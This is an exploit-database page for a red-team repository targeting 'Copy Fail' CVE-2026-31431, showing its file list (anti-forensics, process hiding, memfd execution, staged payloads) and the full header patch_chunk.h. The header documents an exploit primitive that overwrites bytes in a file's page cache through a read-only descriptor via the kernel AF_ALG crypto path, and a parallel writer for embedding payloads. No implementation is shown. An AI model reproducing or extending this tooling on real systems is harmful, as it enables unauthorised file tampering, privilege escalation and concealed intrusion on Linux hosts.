Exploit databaseDownload repository ZIP
GH-db95e8411ee16cabf40e4af5e90b16fd
toxy4ny/copy-fail-exploit-on-c-redteam
Sources for CVE-2026-31431
166 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files23
toxy4ny/copy-fail-exploit-on-c-redteamRevision c2a6d43d4a84
- LICENSE
- Makefile
- README.md
- anti_forensics.c
- anti_forensics.h
- exploit.c
- memfd_exec.c
- memfd_exec.h
- patch_chunk.c
- patch_chunk.h
- proc_hide.c
- proc_hide.h
- signal_trigger.c
- signal_trigger.h
- sleep_jitter.c
- sleep_jitter.h
- stage1.c
- stage1.h
- stage2_template.c
- stage2_template.h
- target_discovery.c
- target_discovery.h
- vulnerable.c
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
patch_chunk.h
Text · 2,391 bytes/* SPDX-License-Identifier: LGPL-2.1-or-later OR MIT */
/*
* Copy Fail -- CVE-2026-31431
* Hardened patch_chunk API for redteam operations.
*/
#ifndef PATCH_CHUNK_H
#define PATCH_CHUNK_H
#include <stddef.h>
#include <sys/types.h>
/*
* patch_chunk -- mutate exactly 4 bytes of file_fd's page cache at `offset`.
*
* Parameters:
* file_fd -- open fd of target file (O_RDONLY sufficient; splice reads
* page cache, write happens via kernel crypto path)
* offset -- byte offset within file, must be 4-byte aligned for
* optimal behaviour (function handles unaligned but may
* overwrite adjacent bytes in same page)
* four_bytes -- exactly 4 bytes to write
* ctrl_sock -- IN/OUT: if >=0, reuse this AF_ALG ctrl socket;
* if <0, a fresh socket is opened and *ctrl_sock updated.
* Callers should init to -1 before first call.
* op_sock -- IN/OUT: operational socket placeholder. Init to -1.
* Managed internally; callers should not touch.
*
* Returns:
* 0 -- verified success (mmap+memcmp confirmed write landed)
* -1 -- fatal error (errno set, perror already printed by primitive)
* 1 -- kernel rejected operation; likely patched or file too short
*
* Thread-safety: NOT thread-safe per socket pair. Each thread should
* have its own ctrl_sock/op_sock pair, or use patch_payload_parallel().
*/
int patch_chunk(int file_fd, off_t offset,
const unsigned char four_bytes[4],
int *ctrl_sock, int *op_sock);
/*
* patch_payload_parallel -- fork-based parallel writer.
*
* Splits payload into chunk_size-byte slices (must be multiple of 4),
* distributes across up to nproc children. Each child opens its own
* AF_ALG socket pair (no shared state, no races).
*
* Parameters:
* file_fd -- target file descriptor
* payload -- bytes to embed into page cache
* len -- payload length
* chunk_size -- bytes per chunk (default 4 if 0 or not multiple of 4)
* nproc -- max parallel processes (capped at 16, default 1 if <=0)
*
* Returns 0 only if ALL children exited successfully.
*/
int patch_payload_parallel(int file_fd,
const unsigned char *payload, size_t len,
size_t chunk_size, int nproc);
#endif /* PATCH_CHUNK_H */